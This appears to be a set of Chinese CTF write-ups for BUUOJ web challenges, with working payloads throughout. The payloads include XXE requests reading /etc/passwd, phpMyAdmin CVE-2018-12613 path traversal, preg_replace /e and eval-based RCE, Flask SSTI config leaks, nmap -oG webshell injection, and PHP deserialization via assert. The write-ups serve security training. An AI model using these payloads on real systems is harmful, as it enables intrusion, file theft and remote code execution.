buuoj-web1

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

得到next.php:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

看源码就知道/e拼接可以进行rce

preg_replace当三个参数可控制时。

preg_replace($_GET['pat'],$_GET['rep'],$_GET['sub']);

/pat=/(.*)/e&rep= system('ls')&sub=test

php5以上就弃用了/e

https://xz.aliyun.com/t/2557?time__1311=n4%2BxnieDqxg7Ki%3DD%2FWT4BKPzx0EwxQTeGQm4D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

/next.php?\S*={${getFlag()}}&cmd=system('cat /f*');

[NCTF2019]Fake XML cookbook

观察是xml,尝试xxe注入,读文件

将元素声明为ANY

POST http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/doLogin.php HTTP/1.1
Host: 47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 191
Origin: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
Connection: close
Referer: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>0
</password></user>

如果目标服务器使用的是PHP环境:

POST http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/doLogin.php HTTP/1.1
Host: 47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 196
Origin: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
Connection: close
Referer: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/flag"> ]>
<user><username>&example;</username><password>0
</password></user>

直接读取:

POST http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/doLogin.php HTTP/1.1
Host: 47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 154
Origin: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81
Connection: close
Referer: http://47ba47af-0b6a-4d61-8971-27a1d0cf9a87.node5.buuoj.cn:81/

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<user><username>&example;</username><password>0
</password></user>

[GWCTF 2019]我有一个数据库

这题扫描目录后,发现有个/phpmyadmin/index.php的目录,我们登陆进去

看到phpmyadmin是4.8.1版本的,然后有文件包含漏洞 CVE-2018-12613(这个漏洞的代码也被当作考点考过)

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../etc/passwd

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../flag

flag{d5acde72-b5f3-4c07-b27d-48a8bc73d33a}

这里还可以配合文件包含漏洞,进行getshell操作

show variables like '%datadir%';
先查看数据保存的地方
/var/lib/mysql/

然后我们再test数据库下,创建一个表shell,字段名字为我们的木马:

然后我们进行文件包含

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../var/lib/mysql/test/shell.frm

frm文件为mysql保存存储结构的文件

我们还有一种方法可以进行文件包含

[BJDCTF2020]Mark loves cat

index.php:

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

一个简单的变量覆盖:

/index.php?is=flag&flag=flag

覆盖yds=yds=flag就OK了

[WUSTCTF2020]朴实无华

这题访问robots.txt,看到/fAke_f1agggg.php路由

然后我们就直接看到reponse包里面有这个Look_at_me: /fl4g.php

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

绕第二个if

print(hashlib.md5('0e215962017'.encode()).hexdigest())

0e291242476940776845150308577824

第三个if没啥好说的,过滤了空格和cat

/fl4g.php?num=199e2&md5=0e215962017&get[flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[强网杯 2019]高明的黑客

访问www.tar.gz这个看到源码里面有一堆文件,全是混乱的shell,但是 不知道为什么都利用不了

找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG

看大佬的脚本,但是buuoj的平台不能开高线程:

import os
import requests
import re
import threading
import time

print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"C:/Users/Harder/Downloads/src"
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'pppppp';"
    for n in posts:
        data[n] = "echo 'pppppp';"
    url = 'http://c5b10c37-beac-4029-a3ae-4e6c591e8a8f.node5.buuoj.cn:81/'+file
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'

    content = req.text
    #print(content)
    if "pppppp" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'pppppp';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "pppppp" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'pppppp';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "pppppp" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:
   t = threading.Thread(target=get_content, args=(i,))
   t.start()                                                 #加入多线程

[MRCTF2020]PYWebsite

这题看源码访问/flag.php

加一个(有点脑洞

X-Forwarded-For: 127.0.0.1

[WesternCTF2018]shrine

这题的源码:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')  #
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

过滤了config参数和self。

用ssti getshell不行报错500

如果没用黑名单,我们就直接{{self.dict}}或者{{config}}

过滤了我们可以获取current_app这样的全局变量

python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象。

这里有两个函数包含了current_app全局变量,url_forget_flashed_messages

/shrine/{{url_for.__globals__['current_app'].config}}

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

[ASIS 2019]Unicorn shop

这题测了半天一直很蒙蔽,看了源码说UTF-8很重要???

直接看wp了,unicode编码安全问题,之前国际赛遇到过,bypass的小tips

https://xz.aliyun.com/t/5402?time__1311=n4%2BxnD07Dtite47qAKDsA3xCqbqmEEkgD7Kbx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F5402#toc-0

https://blog.lyle.ac.cn/2018/10/29/unicode-normalization/

curl http://bf85f776-688a-430a-a83a-475655b5db66.node5.buuoj.cn:81/charge --data "id=4&price=%E1%8D%BC"

[网鼎杯 2020 朱雀组]Nmap

测试一下

Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/fbcd9" in /var/www/html/result.php on line 23

我还以为是xml相关的漏洞

nmap相关的参数:

目标规范:

可以通过主机名、IP地址、网络等指定目标。
-iL:从一个包含主机/网络列表的文件中读取目标。
-iR:随机选择指定数量的目标。
--exclude:排除指定的主机/网络。
--excludefile:从文件中排除列表。
主机发现:

-sL:列出要扫描的目标,不进行实际扫描。
-sn:只进行ping扫描,不进行端口扫描。
-Pn:跳过主机发现阶段。
-PS/PA/PU/PY[portlist]:利用TCP SYN/ACK、UDP或SCTP探测给定端口。
-PE/PP/PM:使用ICMP echo、timestamp和netmask请求探测。
-n/-R:不进行/总是进行DNS解析。
--dns-servers:指定自定义DNS服务器。
--traceroute:追踪到每个主机的路由路径。
扫描技术:

-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon扫描。
-sU:UDP扫描。
-sN/sF/sX:TCP Null、FIN和Xmas扫描。
--scanflags:自定义TCP扫描标志。
-b:FTP弹跳扫描。
端口规范和扫描顺序:

-p:只扫描指定端口范围。
-F:快速模式,扫描默认端口。
-r:连续扫描端口,不随机化。
--top-ports:扫描最常见的指定数量端口。
--port-ratio:扫描比率超过指定比率的端口。
服务/版本探测:

-sV:探测打开端口的服务/版本信息。
脚本扫描:

-sC:相当于--script=default。
--script:指定要执行的NSE脚本。
--script-args:为脚本提供参数。
操作系统探测:

-O:启用操作系统探测。
计时和性能:

-T<0-5>:设置计时模板(数字越大越快)。
--min-rate/--max-rate:限制每秒发送的包的速率。
防火墙/IDS规避和欺骗:

-f:利用分片来规避IDS。
-D:使用诱饵扫描。
-S:欺骗源地址。
-g/--source-port:使用特定的源端口。
--spoof-mac:伪造MAC地址。
输出:

-oN/-oX/-oS/-oG:以不同格式输出扫描结果。
-v:增加详细等级。
--reason:显示端口状态的原因。
杂项:

-6:启用IPv6扫描。
-A:激活操作系统探测、版本探测、脚本扫描和路由追踪。
-V:打印版本号。
示例:

nmap -v -A scanme.nmap.org:详细模式下,对scanme.nmap.org执行扫描,包括操作系统探测、版本探测、脚本扫描和路由追踪。
nmap -v -sn 192.168.0.0/16 10.0.:在给定的网络地址上执行ping扫描。

getshell过后读源码看到了这个:

$host = escapeshellarg($host);
$host = escapeshellcmd($host);

这里用-oG,-oN绕不过

'<?= eval($_GET[1]); ?> -oG 1.phtml '

[BUUCTF 2018]Online Tool

<?php
 
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
 
if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    //escapeshellarg
    //1,确保用户值传递一个参数给命令
    //2,用户不能指定更多的参数
    //3,用户不能执行不同的命令
    $host = escapeshellcmd($host);
    //escapeshellcmd
    //1,确保用户只执行一个命令
    //2,用户可以指定不限数量的参数
    //3,用户不能执行不同的命令
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    $host = escapeshellarg($host);

    $host = escapeshellcmd($host);

这样排列就是有漏洞的,调换一个顺序就无漏洞了
和上题目一样的直接用''来进行bypass ,还要加个X-Forwarded-For头

'<?= eval($_GET[1]); ?> -oG /var/www/html/1.php '

[NPUCTF2020]ReadlezPHP

在js源码中看到这个未授权接口/time.php?source

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);
<?php
error_reporting(0);
highlight_file(__FILE__);

class HelloPhp
{
    public $a;
    public $b;


}
$p = new HelloPhp;
$p->a = "phpinfo();";
$p->b = "assert";
echo serialize($p);




unserialize($_GET["data"]);

不知道为啥这题的system,按道理来说system和assert都应该是可以的